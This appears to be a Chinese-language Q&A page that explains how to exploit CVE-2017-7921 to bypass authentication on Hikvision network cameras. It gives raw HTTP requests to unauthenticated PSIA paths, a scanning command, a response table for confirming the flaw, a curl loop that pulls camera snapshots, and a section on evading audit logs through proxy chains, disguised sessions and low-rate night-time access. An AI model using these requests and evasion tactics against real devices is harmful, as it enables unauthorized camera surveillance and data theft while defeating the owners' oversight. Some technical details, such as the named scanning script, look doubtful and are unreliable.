如何利用CVE-2017-7921绕过海康威视设备认证？

Question

如何利用CVE-2017-7921通过构造恶意HTTP请求绕过海康威视网络摄像头的认证机制？该漏洞源于设备在处理特定URL路径时未正确验证用户身份，攻击者可在无需登录的情况下，直接访问视频流或管理接口。常见问题包括：目标设备固件版本是否受漏洞影响？如何识别摄像头返回的响应以确认漏洞存在？使用工具如Nmap或Burp Suite探测时，应构造何种请求头与路径（如/PSIA/Custom/SelfExt/snapshot）？此外，在实际利用中为何部分请求虽绕过认证却返回空白内容？如何规避日志记录以避免被审计发现？这些问题直接影响漏洞利用的稳定性与隐蔽性。

Answer 1

一、CVE-2017-7921漏洞背景与原理分析

CVE-2017-7921是海康威视（Hikvision）网络摄像头中一个严重的未授权访问漏洞，影响多个固件版本。该漏洞的根本原因在于设备对特定PSIA（Physical Security Interoperability Alliance）接口路径的访问控制缺失，导致攻击者无需提供有效凭证即可访问敏感资源。

具体而言，当设备接收到对以下路径的HTTP GET请求时：

/PSIA/Custom/SelfExt/snapshot
/PSIA/Custom/SelfExt/userCheck
/PSIA/system/time

系统未执行身份验证检查，直接返回视频快照或系统信息，从而实现认证绕过。此问题广泛存在于2017年之前发布的部分IPC（网络摄像机）和NVR固件中。

1.1 漏洞影响范围与固件版本判断

设备型号	受影响固件版本	修复建议
DS-2CD2xxG系列	< V5.4.0 build 170316	升级至V5.4.0及以上
DS-2DE4xxx系列	< V5.3.0 build 161111	应用官方补丁或更新
DS-2CD3xxD系列	< V5.2.0 build 160811	禁用远程管理接口
其他IPC/NVR设备	需结合指纹识别确认	启用防火墙规则限制访问

二、漏洞探测技术流程与响应识别方法

在实际渗透测试中，准确识别目标是否受CVE-2017-7921影响是关键第一步。可通过构造特定HTTP请求并分析响应内容进行判定。

1. 使用Nmap脚本引擎扫描开放端口及服务指纹：

nmap -p 80,8080 --script http-hikvision-camera-bruteforce.nse <target_ip>

该脚本会自动检测是否存在未授权访问路径，并尝试获取设备信息。

1. 手动构造HTTP请求以验证漏洞存在性：

GET /PSIA/Custom/SelfExt/snapshot HTTP/1.1
Host: <target_ip>
User-Agent: Mozilla/5.0
Accept: */*

若目标存在漏洞，服务器将返回JPEG格式图像数据（Content-Type: image/jpeg），而非401 Unauthorized或重定向到登录页。

2.1 响应特征识别表

响应状态码	Content-Type	Body特征	结论
200	image/jpeg	包含JFIF头部	漏洞存在，可获取快照
200	application/xml	<SystemTime>...	可读取系统时间
401	text/html	登录页面HTML	已修复或不受影响
200	text/plain	空白或null	可能受限于权限配置

三、Burp Suite实战利用与请求构造技巧

Burp Suite作为Web安全测试核心工具，可用于精确控制请求头、路径与参数，提升漏洞利用成功率。

1. 配置Proxy拦截流量，向目标发送如下请求：

GET /PSIA/Custom/SelfExt/snapshot HTTP/1.1
Host: 192.168.1.64
Connection: close
Accept-Encoding: gzip, deflate

注意：某些设备对Host头敏感，必须正确设置为目标IP地址。

1. 扩展利用路径列表：

• /PSIA/system/deviceInfo — 获取设备型号、序列号
• /PSIA/system/time — 读取当前系统时间
• /PSIA/Custom/SelfExt/userCheck?name=admin — 检测用户是否存在

四、常见问题分析与规避策略

尽管部分请求成功绕过认证，但返回空白内容的现象较为普遍。其成因包括：

• 摄像头当前无画面输入或处于休眠模式
• 设备启用了“隐私遮蔽”功能
• 快照抓取频率过高导致缓冲区为空
• 固件虽存在漏洞，但某些路径仍受ACL限制

1. 为提高稳定性，建议采用延迟重试机制：

for i in {1..3}; do
  curl -s -o snapshot_$i.jpg "http://<ip>/PSIA/Custom/SelfExt/snapshot"
  sleep 2
done

4.1 日志规避与隐蔽访问策略

海康威视设备默认记录所有HTTP访问日志，直接利用易被审计发现。为增强隐蔽性，可采取以下措施：

1. 使用合法用户会话Token混杂非法请求，混淆日志上下文
2. 通过代理链或内网跳板机发起请求，隐藏真实源IP
3. 控制请求频率，避免短时间内大量探测触发告警
4. 利用设备维护窗口期（如夜间）进行低速拉取

graph TD A[开始] --> B{目标IP可达？} B -- 是 --> C[发送探测请求] B -- 否 --> D[标记离线] C --> E{响应200且为image/jpeg？} E -- 是 --> F[确认漏洞存在] E -- 否 --> G{响应401或HTML？} G -- 是 --> H[认证未绕过] G -- 否 --> I[尝试其他路径] F --> J[执行隐蔽数据提取]